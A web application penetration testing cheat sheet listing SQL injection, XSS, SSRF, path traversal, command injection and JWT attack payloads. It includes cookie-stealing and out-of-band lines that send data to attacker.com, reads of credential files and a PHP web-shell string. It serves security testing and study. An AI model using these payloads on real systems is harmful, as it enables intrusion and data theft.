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Web Application Security Cheatsheet

Quick reference for web application penetration testing, OWASP vulnerabilities, and common attack techniques.

OWASP Top 10 (2021)

# Category Description
A01 Broken Access Control IDOR, privilege escalation, directory traversal
A02 Cryptographic Failures Weak encryption, sensitive data exposure
A03 Injection SQLi, XSS, command injection, LDAP injection
A04 Insecure Design Missing security controls, flawed architecture
A05 Security Misconfiguration Default creds, verbose errors, XXE
A06 Vulnerable Components Outdated libraries, unpatched dependencies
A07 Authentication Failures Weak passwords, session fixation, brute force
A08 Software/Data Integrity Insecure deserialization, unsigned updates
A09 Logging Failures Missing audit trails, no alerting
A10 SSRF Server-side request forgery

SQL Injection

Detection

# Test characters
'
"
#
--
;

Login Bypass

' OR 1=1--
' OR 1=1#
admin'--
admin'#
' OR '1'='1
" OR "1"="1
1' or '1' = '1
1" or "1" = "1

Union-Based

' UNION SELECT 1,2,3--
' UNION SELECT null,null,null--
' UNION SELECT username,password FROM users--

Blind SQLi (Time-Based)

' AND SLEEP(5)--
' WAITFOR DELAY '0:0:5'--
'; IF (1=1) WAITFOR DELAY '0:0:5'--

SQLMap

# Basic scan
sqlmap -u "http://target.com/page?id=1" --batch

# With POST data
sqlmap -u "http://target.com/login" --data "user=admin&pass=test" --batch

# Enumerate databases
sqlmap -u "http://target.com/page?id=1" --dbs

# Dump specific table
sqlmap -u "http://target.com/page?id=1" -D dbname -T users --dump

# Common options
--random-agent    # Random user agent
--level=5         # Increase test level
--risk=3          # Increase risk level
--threads=10      # Parallel requests
--os-shell        # OS shell if possible

Cross-Site Scripting (XSS)

Types

  • Reflected: Input immediately returned in response
  • Stored: Payload saved and executed for other users
  • DOM-based: Client-side JavaScript processes malicious input

Basic Payloads

<script>alert('XSS')</script>
<script>alert(document.cookie)</script>
<img src=x onerror=alert('XSS')>
<svg onload=alert('XSS')>
<body onload=alert('XSS')>

WAF Bypass Techniques

<!-- Case variation -->
<ScRiPt>alert('XSS')</sCrIpT>

<!-- Event handlers -->
<img src=x onerror=alert('XSS')>
<svg/onload=alert('XSS')>
<body onpageshow=alert('XSS')>

<!-- Encoding -->
<script>alert(String.fromCharCode(88,83,83))</script>

<!-- Without parentheses -->
<script>alert`XSS`</script>
<img src=x onerror=alert`XSS`>

Cookie Stealing

<script>
new Image().src="http://attacker.com/steal?c="+document.cookie;
</script>

Server-Side Request Forgery (SSRF)

Common Targets

# Localhost
http://127.0.0.1
http://localhost
http://0.0.0.0

# Cloud metadata
http://169.254.169.254/latest/meta-data/  # AWS
http://metadata.google.internal/           # GCP
http://169.254.169.254/metadata/instance   # Azure

# Internal services
http://192.168.0.1
http://10.0.0.1
http://172.16.0.1

Bypass Techniques

# Decimal IP
http://2130706433  # 127.0.0.1

# Hex IP
http://0x7f000001  # 127.0.0.1

# URL encoding
http://127.0.0.1%00@attacker.com

# DNS rebinding
Use your own DNS server that resolves to internal IP

Directory Traversal / LFI

Basic Payloads

../../../etc/passwd
....//....//....//etc/passwd
..%2f..%2f..%2fetc/passwd
%2e%2e%2f%2e%2e%2f%2e%2e%2fetc/passwd

Common Targets (Linux)

/etc/passwd
/etc/shadow
/etc/hosts
/proc/self/environ
/var/log/apache2/access.log
~/.ssh/id_rsa
~/.bash_history

Common Targets (Windows)

C:\Windows\System32\config\SAM
C:\Windows\repair\SAM
C:\Windows\System32\drivers\etc\hosts
C:\inetpub\logs\LogFiles\

LFI to RCE

# Log poisoning
# 1. Inject PHP into User-Agent
# 2. Include log file
/var/log/apache2/access.log

# PHP wrappers
php://filter/convert.base64-encode/resource=index.php
php://input  # POST data as code
data://text/plain,<?php system($_GET['cmd']); ?>

Command Injection

Detection Characters

;
|
||
&
&&
`command`
$(command)

Payloads

; whoami
| whoami
|| whoami
& whoami
&& whoami
`whoami`
$(whoami)

# Blind (time-based)
; sleep 5
| sleep 5
& ping -c 5 127.0.0.1

# Out-of-band
; curl http://attacker.com/$(whoami)
; nslookup $(whoami).attacker.com

Insecure Direct Object Reference (IDOR)

Testing Approach

# Change numeric IDs
/api/user/123 → /api/user/124

# Change GUIDs (try sequential or predictable)
/api/doc/abc-123 → /api/doc/abc-124

# Parameter manipulation
?user_id=1 → ?user_id=2
?file=report_1.pdf → ?file=report_2.pdf

# HTTP method tampering
GET /api/admin → POST /api/admin

Authentication Bypass

Default Credentials

admin:admin
admin:password
root:root
test:test
guest:guest

Brute Force Protection Bypass

# Header manipulation
X-Forwarded-For: 127.0.0.1
X-Real-IP: 127.0.0.1
X-Originating-IP: 127.0.0.1

# Username enumeration
# Look for timing differences
# Look for response differences

JWT Attacks

# None algorithm
# Change "alg": "HS256" to "alg": "none"

# Weak secret
hashcat -a 0 -m 16500 jwt.txt wordlist.txt

# Key confusion (RS256 to HS256)
# Sign with public key as HMAC secret

Burp Suite Quick Reference

Keyboard Shortcuts

Action Shortcut
Send to Repeater Ctrl+R
Send to Intruder Ctrl+I
Forward request Ctrl+F
Drop request Ctrl+D

Intruder Attack Types

  • Sniper: Single payload position, one at a time
  • Battering ram: Same payload all positions
  • Pitchfork: Different payload lists, parallel
  • Cluster bomb: All combinations

Useful Tools

Tool Purpose
Burp Suite Proxy, scanner, manual testing
SQLMap Automated SQL injection
ffuf Web fuzzing
Gobuster Directory brute forcing
Nikto Web server scanner
WPScan WordPress scanner
Nuclei Template-based scanning

Resources